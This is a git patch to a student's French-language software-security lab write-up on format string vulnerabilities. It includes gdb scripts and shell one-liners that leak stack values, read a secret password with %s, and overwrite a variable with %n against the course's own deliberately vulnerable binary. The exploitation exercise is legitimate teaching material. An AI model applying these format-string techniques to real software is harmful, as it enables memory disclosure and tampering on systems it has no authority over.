From f4dd1b619e84f1b816335d8c08175a2624252df6 Mon Sep 17 00:00:00 2001 From: Yorick Barbanneauwq Date: Sat, 25 Mar 2023 00:23:28 +0100 Subject: [PATCH] Continue TD6 work --- .../files/q1/Makefile | 2 +- .../files/q1/vulnerable-1_32.gdb | 4 +- .../td6-format_strings_vulns/index.md | 76 ++++++++++++++----- 3 files changed, 62 insertions(+), 20 deletions(-) diff --git a/content/secu_logicielle/td6-format_strings_vulns/files/q1/Makefile b/content/secu_logicielle/td6-format_strings_vulns/files/q1/Makefile index 7f2e5cb..892f161 100644 --- a/content/secu_logicielle/td6-format_strings_vulns/files/q1/Makefile +++ b/content/secu_logicielle/td6-format_strings_vulns/files/q1/Makefile @@ -36,7 +36,7 @@ build: $(addprefix $(BUILD_DIR)/, $(addsuffix _32, $(TGT))) \ $(addprefix $(BUILD_DIR)/, $(addsuffix _64-pie, $(TGT))) \ -PHONY: gdb_% +PHONY: gdb_% configure gdb_%: $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%)) PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} setarch -R gdb $< --command=$(subst gdb_,,$@).gdb diff --git a/content/secu_logicielle/td6-format_strings_vulns/files/q1/vulnerable-1_32.gdb b/content/secu_logicielle/td6-format_strings_vulns/files/q1/vulnerable-1_32.gdb index 7289c09..75b8239 100644 --- a/content/secu_logicielle/td6-format_strings_vulns/files/q1/vulnerable-1_32.gdb +++ b/content/secu_logicielle/td6-format_strings_vulns/files/q1/vulnerable-1_32.gdb @@ -1,2 +1,4 @@ b printf -r +r < <(echo -e '\x31\x32\x33\x34') +frame 2 +p &buf diff --git a/content/secu_logicielle/td6-format_strings_vulns/index.md b/content/secu_logicielle/td6-format_strings_vulns/index.md index e5d0386..f7adfc1 100644 --- a/content/secu_logicielle/td6-format_strings_vulns/index.md +++ b/content/secu_logicielle/td6-format_strings_vulns/index.md @@ -17,13 +17,13 @@ l'ordre)": * `0x00000009` * `AAA` -Il affiche encuite la valeur de `value` dans uen seconde ligne. Cette valeur a -été écrite par notre premier `fprintf` grace au `%n`. +Il affiche encuite la valeur de `value` dans une seconde ligne. Cette valeur a +été écrite par notre premier `fprintf` grace à `%n`. ### Question 2 -Grace au commandes passées à `printf`, nous pouvons remontrer dans la pile et -ainsi afficher les adresses. +Grace au commandes passées à `printf` (fonction `foo()`), nous pouvons remontrer +dans la pile et ainsi afficher les adresses. ``` %2p @@ -48,28 +48,37 @@ Single stepping until exit from function printf, which has no line number information. 0xf7c73230 <- on a bien l'affichage de %p ``` +C'est exactement la démarche vue en cours pour détourner `printf` de son udsage +de base. ### question 3 Avec les commandes `backtrace` puis `frame 2`, nous avons réussi à trouver -l'adresse de la variable `var`: *0xffffc8a8*. Ce qui représente une remontée -dans la pile de 22 élements. Il nous a suffit de renter avec `%22$p` pour -afficher le contenu. +l'adresse de la variable `var`: *0xffffc8a8* (sur notre machine). Ce qui +représente une remontée dans la pile de 22 élements. Il nous a suffit de saisir +`%22$p` pour afficher le contenu comme dans le code ci-dessous -``` +```bash ./build/vulnerable-1_32 %22$p 0xffffc8a8 ``` ### Question 4 -Modification du fichier de commandes gdb modifié comme ci-dessous pour -automatisée la saisie : +Afin de saisir les 4 entiers , nous avonc créé un fichier de commandes gdb +modifié comme ci-dessous pour automatiser la saisie: ```gdb b printf r < <(echo -e '\x31\x32\x33\x34') ``` +Il est possible de lancer l'opération avec notre `Makefile` qui se charge de +toutes les opérations : + + +```bash +make gdb_vulnerable-1_32 +``` Nous pouvons maintenant afficher l'adresse de `buf` dans gdb: @@ -77,13 +86,14 @@ Nous pouvons maintenant afficher l'adresse de `buf` dans gdb: p &buf $2 = (char (*)[128]) 0xffffd56c ``` -au moment du prinf `SP` se situe à `0xffffd50c`, on en déduit par soustraction + +Au moment du prinf `SP` se situe à `0xffffd50c`, on en déduit par soustraction que notre `buf` se trouve à 96 octets plus bas que nore pointer de pile. en -prenant en compte les adresses 32bits et la strack frame conteant le format, +prenant en compte les adresses 32bits et la *strack frame* conteant le format, nous injectons `%23$p` pour trouver le contenu voici la commande shell exécutée: -``` -echo -e '\x31\x32\x33\x34 %26$p' | setarch -R ./build/vulnerable-1_32 +```bash +echo -e '\x31\x32\x33\x34 %23$p' | setarch -R ./build/vulnerable-1_32 1234 0x34333231 ``` @@ -93,19 +103,28 @@ D'après `objdump`, la variable `passwd` se trouve à l'adresse `0x0804c01c` Il suffit de faire la commande suivante avec l'adresse que l'on a trouvé -``` +```bash echo -e '\x1c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32 secret_password ``` La technique est simple : on injecte dans le buffer l'adresse de la variable -`psswd` découverte au dessus et la "commande" `printf` à utiliser pour afficher +`passwd` découverte au dessus et la "commande" `printf` à utiliser pour afficher ce qui se trouve à cette adresse. ### question 6 -Le fonctionnement est le même que la question 5 : `objdump` + `echo`. Afin -d'afficher les caracteres, il est nécessaure d'utiliser `hexdump`: +Le fonctionnement est le même que la question 5 : `objdump` + `echo`. + +Il nous suffit d'afficher l'adresse de `target`: + +``` +objdump -D build/vulnerable-1_32 | grep target +0804c02c : +``` + +Puis de forrger notre entrée. Afin d'afficher les caractères, il est nécessaire +d'utiliser `hexdump` sur notre machine: ``` echo -e '\x2c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32 | hexdump -C @@ -114,3 +133,24 @@ echo -e '\x2c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32 | hexdump ``` ### Question 7 + +Une fois que nous avons affiche le contenu de la vatiable `target`, nous allons +pouvois la modifier en changeant son contenu avec le format `%n` : + +```bash +echo -e '\x2c\xc0\x04\x08 %23$n' | setarch -R ./build/vulnerable-1_32 + + +you have modified the target to 0x6! +``` + +### Question 8 + +Uen fois la première modification appliquée, il ne reste plus qu'à forger le +paramètre de notre format pour rendre la condition`if (target == 0x00025544)` +vrai. + +`0x25544` est égal à 152900, +```bash + echo -e '\x2c\xc0\x04\x08 %152894p%23$n' | setarch -R ./build/vulnerable-1_32 +```